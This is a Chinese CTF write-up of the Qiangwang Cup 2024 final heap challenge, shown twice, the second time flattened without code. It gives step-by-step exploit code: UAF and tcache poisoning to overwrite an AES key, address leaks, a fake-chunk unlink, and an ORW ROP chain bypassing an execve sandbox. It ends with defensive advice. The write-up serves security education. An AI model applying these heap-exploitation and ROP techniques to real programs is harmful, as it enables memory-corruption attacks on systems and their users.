[强网杯2024 Final] PWN1-heap 详解 (AES+2.31 unlink)
字数 1543 2025-08-22 18:37:15

《强网杯2024 Final PWN1-heap 漏洞利用详解》

程序概述

这是一个结合了AES加密和堆漏洞利用的CTF题目,主要考察对unlink攻击的理解和利用。程序保护机制全开(Full RELRO, NX, PIE, Stack Canary),使用libc 2.31版本。

关键安全机制

  1. AES加密机制

    • 使用自定义实现的AES加密堆块内容
    • 密钥存储在堆中,值来自urandom,无法预测
    • 加密实现存在缺陷:输入长度小于16时直接明文存储
  2. 沙箱限制

    • 禁用了execve,无法直接执行shellcode
    • 必须使用setcontext或ROP链,最终采用ORW(open-read-write)方式获取flag
  3. 堆分配限制

    • 使用safe_malloc函数,限制分配大小在0x1000以内
    • 常规tcache攻击难以实施

程序漏洞分析

  1. UAF漏洞

    • delete函数free后未置空指针
    • 允许对已释放块进行编辑和展示
  2. AES实现缺陷

    • 不足16字节的输入不进行填充直接明文存储
    • 加密/解密长度由BookSize控制,可能与实际数据长度不一致
  3. 信息泄露漏洞

    • show函数使用puts输出栈缓冲区内容
    • decrypt函数接收栈地址参数,可能泄露敏感信息
  4. 逻辑缺陷

    • add函数不检查序号是否已被占用,直接覆盖

漏洞利用步骤

阶段1:泄露PIE基地址

  1. 创建两个块(0和10),内容包含特殊标记
  2. 释放并重新分配块,使一个块拥有两个索引(1和10)
  3. 通过show函数泄露栈中的PIE地址
add(0, "a"*0xf + "~")
add(10, b"a"*16)
dele(10)
add(1)
show(0)
ru('~')
pie = uu64(rl()[:-1]) - 0x55ff2faadbf0 + 0x55ff2faac000

阶段2:篡改AES密钥

  1. 释放两个相邻块(0和1),形成tcache链:chunk1 → chunk0
  2. 修改chunk1的fd指针指向key所在地址
  3. 重新分配chunk1和key块,覆盖key值
dele(0)
dele(1)
edit(1, "\xa0")
add(0, "a")
add(1, "a"*8)  # 现在我们知道key了

阶段3:泄露堆基地址

  1. 利用拥有两个索引的块(1和10)
  2. 通过show(10)获取加密内容,用已知key解密得到堆地址
show(10)
message = rc(16)
key = b'a'*8 + b"\x00"*8
plaintext = encrypt_aes(message, key)
heap_base = uu64(plaintext[:8]) - 0x261

阶段4:泄露libc基地址

  1. 分配大块(0x400)进入unsorted bin
  2. 修改chunk头部,使其包含libc的main_arena指针
  3. 展示并解密获取libc地址
add(0)
add(3)
for i in range(4*5): add(15)  # 分配多个大块
dele(10)
dele(0)
edit(0, p64(heap_base + 0x378))
add(0)
add(4, p64(0x501))
dele(3)
show(3)
message = rc(16)
plaintext = encrypt_aes(message, key)
libc_base = uu64(plaintext[:8]) - 0x7fdea91e6be0 + 0x7fdea8ffa000

阶段5:构造fake chunk并unlink

  1. 在chunk2中构造fake chunk,设置正确的fd/bk指针
  2. 修改相邻chunk的pre_size和size标志位
  3. 触发unlink使chunk2指针指向自身减0x20的位置
add(0)
add(1)
target = pie + 0x4080 + 0x10
fd = target - 0x18
bk = target - 0x10
fake_heap = p64(0) + p64(0x31) + p64(fd) + p64(bk)
add(2, decrypt_aes(fake_heap, key))
add(3)
for i in range(4*5-1): add(15)
dele(1)
dele(0)
edit(0, p64(heap_base + 0x430))
add(0)
add(1, decrypt_aes(p64(0x30) + p64(0x500), key))
dele(3)  # 触发unlink

阶段6:泄露栈地址

  1. 利用被篡改的指针写入environ地址
  2. 通过show获取栈地址
environ = libc_base + libc.sym["environ"]
edit(2, decrypt_aes(p64(0) + p64(target), key))
edit(0, decrypt_aes(p64(environ) + p64(0), key))
show(2)
message = rc(16)
plaintext = encrypt_aes(message, key)
a_stack = uu64(plaintext[:8])

阶段7:ROP链攻击

  1. 写入栈地址,准备ROP链
  2. 使用gets函数进行二次溢出
  3. 构造ORW链读取flag
edit(0, decrypt_aes(p64(a_stack - 0x130) + p64(0), key))
pop_rdi = 0x23b6a + libc_base
pop_rsi = 0x2601f + libc_base
pop_rdx_r12 = 0x119431 + libc_base
gets_addr = libc_base + libc.sym["gets"]
open_addr = libc_base + libc.sym["open"]
read_addr = libc_base + libc.sym["read"]
puts_addr = libc_base + libc.sym["puts"]

# 第一次写入:调用gets进行二次输入
edit(2, decrypt_aes(p64(pop_rdi) + p64(a_stack - 0x130 + 0x18) + p64(gets_addr) + p64(0), key))

# 第二次写入完整的ORW链
payload = p64(pop_rdi) + p64(a_stack - 0x130 + 0x98) + p64(pop_rsi) + p64(4) 
payload += p64(open_addr)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(a_stack) + p64(pop_rdx_r12) + p64(0x30) + p64(0)
payload += p64(read_addr)
payload += p64(pop_rdi) + p64(a_stack)
payload += p64(puts_addr)
payload += b"flag\x00"
sl(payload)

关键知识点

  1. unlink攻击原理

    • 需要满足:*target == &fake_chunk
    • fd = target - 0x18
    • bk = target - 0x10
    • 结果会使target = target - 0x20
  2. AES ECB模式特性

    • 相同明文产生相同密文
    • 不需要IV(初始化向量)
    • 分组加密,每组16字节
  3. 堆布局技巧

    • 利用UAF修改tcache的fd指针
    • 通过堆重叠获取敏感信息
    • 利用大块进入unsorted bin泄露libc地址
  4. ROP链构造

    • 在execve被禁用时的替代方案
    • 需要找到合适的gadget控制rdi, rsi, rdx等寄存器
    • 通过多次写入绕过空间限制

防御建议

  1. 正确实现AES加密,对所有输入进行填充
  2. free后立即置空指针
  3. 添加堆块索引检查机制
  4. 使用更安全的函数替代puts
  5. 加强堆分配大小的校验

这个题目综合考察了堆漏洞利用的多个方面,包括信息泄露、UAF、unlink攻击和ROP构造,是一个较为全面的堆利用学习案例。

《强网杯2024 Final PWN1-heap 漏洞利用详解》 程序概述 这是一个结合了AES加密和堆漏洞利用的CTF题目,主要考察对unlink攻击的理解和利用。程序保护机制全开(Full RELRO, NX, PIE, Stack Canary),使用libc 2.31版本。 关键安全机制 AES加密机制 : 使用自定义实现的AES加密堆块内容 密钥存储在堆中,值来自urandom,无法预测 加密实现存在缺陷:输入长度小于16时直接明文存储 沙箱限制 : 禁用了execve,无法直接执行shellcode 必须使用setcontext或ROP链,最终采用ORW(open-read-write)方式获取flag 堆分配限制 : 使用safe_ malloc函数,限制分配大小在0x1000以内 常规tcache攻击难以实施 程序漏洞分析 UAF漏洞 : delete函数free后未置空指针 允许对已释放块进行编辑和展示 AES实现缺陷 : 不足16字节的输入不进行填充直接明文存储 加密/解密长度由BookSize控制,可能与实际数据长度不一致 信息泄露漏洞 : show函数使用puts输出栈缓冲区内容 decrypt函数接收栈地址参数,可能泄露敏感信息 逻辑缺陷 : add函数不检查序号是否已被占用,直接覆盖 漏洞利用步骤 阶段1:泄露PIE基地址 创建两个块(0和10),内容包含特殊标记 释放并重新分配块,使一个块拥有两个索引(1和10) 通过show函数泄露栈中的PIE地址 阶段2:篡改AES密钥 释放两个相邻块(0和1),形成tcache链:chunk1 → chunk0 修改chunk1的fd指针指向key所在地址 重新分配chunk1和key块,覆盖key值 阶段3:泄露堆基地址 利用拥有两个索引的块(1和10) 通过show(10)获取加密内容,用已知key解密得到堆地址 阶段4:泄露libc基地址 分配大块(0x400)进入unsorted bin 修改chunk头部,使其包含libc的main_ arena指针 展示并解密获取libc地址 阶段5:构造fake chunk并unlink 在chunk2中构造fake chunk,设置正确的fd/bk指针 修改相邻chunk的pre_ size和size标志位 触发unlink使chunk2指针指向自身减0x20的位置 阶段6:泄露栈地址 利用被篡改的指针写入environ地址 通过show获取栈地址 阶段7:ROP链攻击 写入栈地址,准备ROP链 使用gets函数进行二次溢出 构造ORW链读取flag 关键知识点 unlink攻击原理 : 需要满足:* target == &fake_ chunk fd = target - 0x18 bk = target - 0x10 结果会使target = target - 0x20 AES ECB模式特性 : 相同明文产生相同密文 不需要IV(初始化向量) 分组加密,每组16字节 堆布局技巧 : 利用UAF修改tcache的fd指针 通过堆重叠获取敏感信息 利用大块进入unsorted bin泄露libc地址 ROP链构造 : 在execve被禁用时的替代方案 需要找到合适的gadget控制rdi, rsi, rdx等寄存器 通过多次写入绕过空间限制 防御建议 正确实现AES加密,对所有输入进行填充 free后立即置空指针 添加堆块索引检查机制 使用更安全的函数替代puts 加强堆分配大小的校验 这个题目综合考察了堆漏洞利用的多个方面,包括信息泄露、UAF、unlink攻击和ROP构造,是一个较为全面的堆利用学习案例。